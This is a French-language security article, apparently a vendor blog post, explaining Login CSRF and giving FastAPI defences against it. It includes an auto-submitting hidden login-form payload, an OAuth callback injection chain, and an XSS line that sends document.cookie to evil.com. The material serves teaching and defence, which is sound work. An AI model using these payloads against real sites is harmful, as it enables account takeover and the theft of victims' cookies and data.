Login CSRF (CWE-352) : forcer la victime à se connecter avec le compte attaquant — prise de contrôle via état de session partagé et accès aux données soumises.
TL;DR
Le Login CSRF (CWE-352) est une attaque qui force le navigateur de la victime à soumettre un formulaire de connexion en utilisant les identifiants de l'attaquant. Quand la victime visite la page de l'attaquant, un formulaire caché auto-soumet le nom d'utilisateur et le mot de passe de l'attaquant vers l'endpoint de connexion de l'application cible. Si la connexion réussit, le navigateur de la victime est maintenant authentifié en tant que compte de l'attaquant — silencieusement, sans aucune indication visible.
Cette attaque exploite le mode d'échec courant : les endpoints de connexion sont pré-authentification, donc les développeurs raisonnent qu'aucun cookie de session n'existe à protéger et sautent entièrement la validation du token CSRF. Ce raisonnement est incorrect. Le formulaire de connexion lui-même est une opération modifiant l'état — il établit une nouvelle session authentifiée — et doit être protégé par un token CSRF pré-session. OWASP exige explicitement la protection CSRF sur les endpoints de connexion.
Le Login CSRF autonome a un impact direct limité quand les identifiants de l'attaquant sont la seule entrée. L'escalade vient des actions que la victime entreprend après avoir été connectée dans le mauvais compte : saisie de détails de paiement, upload de documents, remplissage de formulaires de santé, accès à des comptes OAuth liés. Toutes les données atterrissent dans le contexte du compte de l'attaquant, où l'attaquant les récupère à loisir.
L'escalade la plus grave est la chaîne Self-XSS + Login CSRF, où le XSS stocké dans le profil de l'attaquant devient exécutable contre le navigateur de la victime une fois que le Login CSRF place la victime dans le contexte du compte de l'attaquant. Ce qui était un finding informatif Self-XSS devient un vecteur critique de prise de contrôle de compte.
Le Login CSRF ne nécessite pas que la victime soit pré-authentifiée. Il cible le formulaire de connexion lui-même :
Payload Login CSRF classique :
<!-- Force la victime à s'authentifier en tant que compte de l'attaquant -->
<html>
<body onload="document.getElementById('logincsrf').submit()">
<form id="logincsrf" action="https://target.com/login" method="POST"
style="display:none;">
<input type="hidden" name="username" value="attaquant@evil.com">
<input type="hidden" name="password" value="mdp_connu_attaquant">
<!-- Aucun champ token CSRF — test d'omission sur l'endpoint de connexion -->
</form>
</body>
</html>Le facteur crucial : la plupart des applications n'émettent pas de token CSRF sur leur page de connexion. Il n'y a pas de champ csrf_token à inclure, parce que les développeurs ne l'ont jamais ajouté. Le POST de connexion réussit en cross-origin.
| Variante | Technique | Impact |
|---|---|---|
| Collecte de données | La victime saisit des données sensibles dans le compte de l'attaquant | PII, paiement, documents volés sans aucun malware |
| Escalade Self-XSS | Le XSS stocké dans le profil de l'attaquant s'exécute dans le navigateur de la victime | Prise de contrôle complète, exfiltration d'identifiants |
| Injection de code OAuth | L'état OAuth de l'attaquant injecté dans le callback de la victime | Compte social lié au compte d'application de la victime |
| Fixation de session amplifiée | Pré-planter l'ID de session, forcer le Login CSRF | L'attaquant connaît le token de session résultant de la victime |
| Login CSRF → accès persistant | La victime ajoute l'email de l'attaquant, l'attaquant reçoit la réinitialisation de mot de passe | Accès non autorisé à long terme |
Cette chaîne convertit deux findings de faible sévérité en une prise de contrôle critique :
Étape 1 : L'attaquant crée un compte et stocke un payload XSS dans le champ nom du profil :
nom = "<script>document.location='https://evil.com/steal?c='+document.cookie</script>"
(Self-XSS — le propre profil de l'attaquant, visible uniquement dans sa propre session)
Étape 2 : L'attaquant héberge une page de Login CSRF :
<form action="https://target.com/login" method="POST">
<input name="username" value="attaquant@evil.com">
<input name="password" value="mdp_connu">
</form>
(Le navigateur de la victime s'authentifie en tant qu'attaquant)
Étape 3 : Le navigateur de la victime exécute le nom de profil de l'attaquant comme XSS :
La page /profil rend le nom de l'attaquant → XSS se déclenche dans le contexte du navigateur de la victime
Étape 4 : Le XSS exfiltre les cookies de la victime :
Le XSS s'exécute avec la session du navigateur de la victime restaurée (si la victime était connectée)
OU force la ré-authentification OAuth → capture le code d'autorisation de la victime
Sévérité : Self-XSS (Informatif) + Login CSRF (Faible) = Prise de contrôle critique
CVSS : AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N = 7.5 Élevé (déduction de complexité pour chaîne multi-étapes)Étape 1 : L'attaquant initie OAuth avec son compte :
GET /oauth/authorize?client_id=app&redirect_uri=https://target.com/callback&state=etat_attaquant
Reçoit : authorization_url = https://oauth-provider.com/auth?code=CODE_ATTAQUANT&state=etat_attaquant
Étape 2 : L'attaquant capture l'URL de callback avant de suivre la redirection :
/callback?code=CODE_ATTAQUANT&state=etat_attaquant
Étape 3 : L'attaquant envoie l'URL de callback à la victime via CSRF :
<img src="https://target.com/callback?code=CODE_ATTAQUANT&state=etat_attaquant">
(Aucune protection SameSite sur le callback — c'est un endpoint de redirection)
Étape 4 : Le navigateur de la victime exécute le callback :
La cible lie l'identité OAuth de l'attaquant au compte existant de la victime
Étape 5 : L'attaquant se connecte via son identité sociale → prend le contrôle du compte de la victimeRFC 6749 §10.12 impose que les implémentations OAuth lient le paramètre state à la session de l'agent utilisateur et le valident au callback. RFC 9700 §4.1.2 spécifie de plus que PKCE (code_challenge_method=S256) peut remplacer le paramètre state pour la protection CSRF dans les clients natifs. L'absence de state et de PKCE permet cette attaque.
HackerOne #118737 — Google OAuth Login CSRF (ThisData) : Force une victime non authentifiée à initier une authentification OAuth en utilisant les identifiants de l'attaquant, puis capture la session de la victime dans le compte OAuth contrôlé par l'attaquant.
HackerOne #1046630 — Logitech/Streamlabs OAuth Null Byte (200 $) : Un octet nul %00 dans le paramètre OAuth state causait la terminaison prématurée de la comparaison de chaîne du serveur, acceptant des valeurs de state falsifiées et permettant le détournement de liaison de compte via CSRF OAuth en un clic.
HackerOne #834366 — HackerOne.com Login CSRF (500 $) : Le token CSRF authenticity_token sur la propre page de connexion de HackerOne n'était pas correctement vérifié côté serveur, permettant la connexion via CSRF sans token valide. Divulgué en 2020. C'est particulièrement notable car HackerOne est une plateforme axée sur la sécurité — démontrant que même des équipes expertes ratent la protection CSRF sur les endpoints de connexion.
CVE-2025-0126 — Palo Alto PAN-OS GlobalProtect SAML (CVSS-B 8.3, Élevé) : Fixation de session permettant une attaque équivalente CSRF : l'ID de session pré-authentification n'était pas invalidé après la connexion SAML, permettant à un attaquant capable d'observer l'ID de session de CSRF le flux de connexion et de prendre le contrôle de la session résultante. Affectait le flux de connexion SAML GlobalProtect.
HackerOne #118737 — Login CSRF via Google OAuth (ThisData) : Démonstration complète du flux Login CSRF OAuth : l'attaquant force la victime à s'authentifier avec les identifiants Google de l'attaquant, puis capture la session de la victime comme le compte lié de l'attaquant. Impact : prise de contrôle complète du compte sur la plateforme SaaS affectée.
CVE-2023-49920 — Apache Airflow (CVSS 6.5) : Protection CSRF manquante sur l'endpoint de déclenchement de DAG. Bien que n'étant pas un endpoint de connexion, cela démontre le même schéma — les endpoints pré-authentification/non authentifiés supposés sûrs contre le CSRF parce que « il n'y a pas de session ». Le déclenchement de DAG créait un CSRF d'accès non authentifié vers des pipelines de données en production.
csrf_token, authenticity_token, _token, __RequestVerificationToken). Si aucun champ token n'existe, l'endpoint de connexion est non protégé.state dans OAuth : initier le flux OAuth, puis modifier le paramètre state dans l'URL de callback. Si le serveur accepte un state falsifié, le CSRF OAuth est confirmé.Les scanners CSRF standard ne testent généralement pas les endpoints de connexion parce qu'ils manquent de sessions actives quand ils testent ces endpoints. BreachVex détecte le Login CSRF dans le cadre de son amorçage de session authentifiée, qui sonde les endpoints de connexion pour la présence de tokens CSRF et valide si les tokens sont imposés côté serveur. La validation du paramètre state OAuth est testée séparément et rapportée comme un finding CSRF de state OAuth.
Le token doit être lié à la session du navigateur avant l'authentification, pas à la session post-connexion :
# FastAPI — token CSRF pré-session pour l'endpoint de connexion
import secrets
from fastapi import Response, Request, Form, HTTPException
from fastapi.responses import HTMLResponse
@router.get("/login")
async def login_page(request: Request, response: Response):
# Générer le token CSRF pré-session et définir comme cookie AVANT le formulaire de connexion
pre_session_token = secrets.token_urlsafe(32)
response.set_cookie(
key="pre_session_csrf",
value=pre_session_token,
httponly=True,
secure=True,
samesite="lax", # 'strict' casserait les redirections OAuth de retour vers la connexion
max_age=3600,
)
return HTMLResponse(f"""
<form method="POST" action="/login">
<input type="hidden" name="csrf_token" value="{pre_session_token}">
<input type="email" name="email">
<input type="password" name="password">
<button type="submit">Connexion</button>
</form>
""")
@router.post("/login")
async def login_submit(
request: Request,
response: Response,
csrf_token: str = Form(...),
email: str = Form(...),
password: str = Form(...)
):
# Valider le token pré-session AVANT de vérifier les identifiants
cookie_token = request.cookies.get("pre_session_csrf")
if not cookie_token or not secrets.compare_digest(cookie_token, csrf_token):
raise HTTPException(status_code=403, detail="Token CSRF invalide")
# Authentifier l'utilisateur
user = await authenticate(email, password)
if not user:
raise HTTPException(status_code=401, detail="Identifiants invalides")
# CRITIQUE : Détruire la pré-session et créer une nouvelle session à la connexion
# Prévient également la fixation de session
response.delete_cookie("pre_session_csrf")
new_session_id = secrets.token_urlsafe(32)
response.set_cookie("session", new_session_id, httponly=True, secure=True, samesite="strict")
await sessions.create(new_session_id, user.id)
return {"ok": True}# Lier le paramètre state à la session avant de rediriger vers le fournisseur OAuth
@router.get("/oauth/login")
async def oauth_login(request: Request, response: Response):
state = secrets.token_urlsafe(32)
# Stocker le state en session — valider au callback
await sessions.set(request.session_id, "oauth_state", state)
auth_url = f"https://provider.com/oauth/authorize?client_id=...&state={state}"
return RedirectResponse(auth_url)
@router.get("/oauth/callback")
async def oauth_callback(request: Request, code: str, state: str):
# Valider que le state correspond à ce qui était stocké en session
stored_state = await sessions.get(request.session_id, "oauth_state")
if not stored_state or not secrets.compare_digest(stored_state, state):
raise HTTPException(status_code=403, detail="State OAuth incohérent — CSRF détecté")
# Échanger le code contre un token
token = await exchange_code(code)
# ... lier l'identité OAuth au compte utilisateurLa régénération de session à la connexion n'est pas optionnelle — elle prévient les chaînes d'attaque de fixation de session. Créer un tout nouvel ID de session après la réussite de l'authentification. Le cookie CSRF pré-session, la fixture de session et la nouvelle session post-connexion doivent être trois identifiants distincts.
Le Login CSRF force la victime à s'authentifier en tant que compte de l'attaquant, plutôt qu'à exécuter des actions en tant que victime. Le CSRF ordinaire exploite une session authentifiée existante ; le Login CSRF exploite l'état pré-authentification où aucune session n'existe encore et aucun token CSRF n'est généralement émis. La victime semble connectée, mais dans le contexte du compte de l'attaquant.
La victime effectue des actions sensibles — saisie de cartes de crédit, upload de documents, remplissage de formulaires de santé — qui sont stockées dans le compte de l'attaquant. L'attaquant se reconnecte ensuite à son propre compte et récolte les données de la victime. Combiné avec du XSS stocké dans le profil de l'attaquant, le Login CSRF escalade en prise de contrôle complète de compte via la chaîne Self-XSS + Login CSRF.
Les endpoints de connexion gèrent les requêtes pré-authentification — aucun cookie de session n'existe encore, donc les développeurs raisonnent qu'il n'y a rien à protéger. Les tokens CSRF nécessitent une session active pour être significatifs. Ce raisonnement est incorrect : le formulaire de connexion lui-même doit être protégé par un token CSRF pré-session lié à la session du navigateur (ex. via un cookie défini avant le chargement de la page de connexion).
L'attaquant stocke un payload XSS dans son propre compte (Self-XSS, normalement inexploitable). Il utilise ensuite le Login CSRF pour forcer le navigateur de la victime à s'authentifier en tant que compte de l'attaquant. Le navigateur de la victime exécute le XSS stocké depuis le profil de l'attaquant. Le XSS exfiltre les vrais identifiants ou tokens OAuth de la victime. Self-XSS (informatif) + Login CSRF (faible) = prise de contrôle critique.
Le Login CSRF OAuth survient quand l'attaquant initie un flux d'autorisation OAuth (ex. 'Se connecter avec Google'), capture l'URL d'autorisation avant de suivre la redirection, et envoie cette URL à la victime via CSRF. Le navigateur de la victime complète le flux OAuth, liant l'identité sociale de l'attaquant au compte d'application de la victime. L'attaquant se connecte ensuite via son identité liée et prend le contrôle du compte de la victime.
HackerOne #834366 est un rapport de Login CSRF divulgué contre HackerOne lui-même. Le token CSRF authenticity_token sur la page de connexion de HackerOne n'était pas correctement vérifié côté serveur, permettant la connexion via CSRF sans token valide. Prime : 500 $. Cela démontre que même les plateformes axées sur la sécurité ont historiquement raté la protection CSRF sur les endpoints de connexion.
Émettre un token CSRF pré-session avant le début de l'authentification : définir un cookie aléatoire cryptographiquement quand la page de connexion est servie, et exiger cette valeur dans la soumission du formulaire de connexion. Ce token est validé côté serveur avant de traiter les identifiants. De plus, toujours invalider et régénérer l'ID de session lors d'une connexion réussie (prévient le chaînage avec la fixation de session).
SameSite=Strict sur le cookie de session ne protège pas les endpoints de connexion parce qu'aucun cookie de session n'existe en pré-authentification. La cible CSRF est le formulaire de connexion lui-même, pas une ressource gardée par un cookie de session. Un token CSRF pré-session lié à un cookie séparé (qui doit avoir SameSite=Strict) est la défense correcte.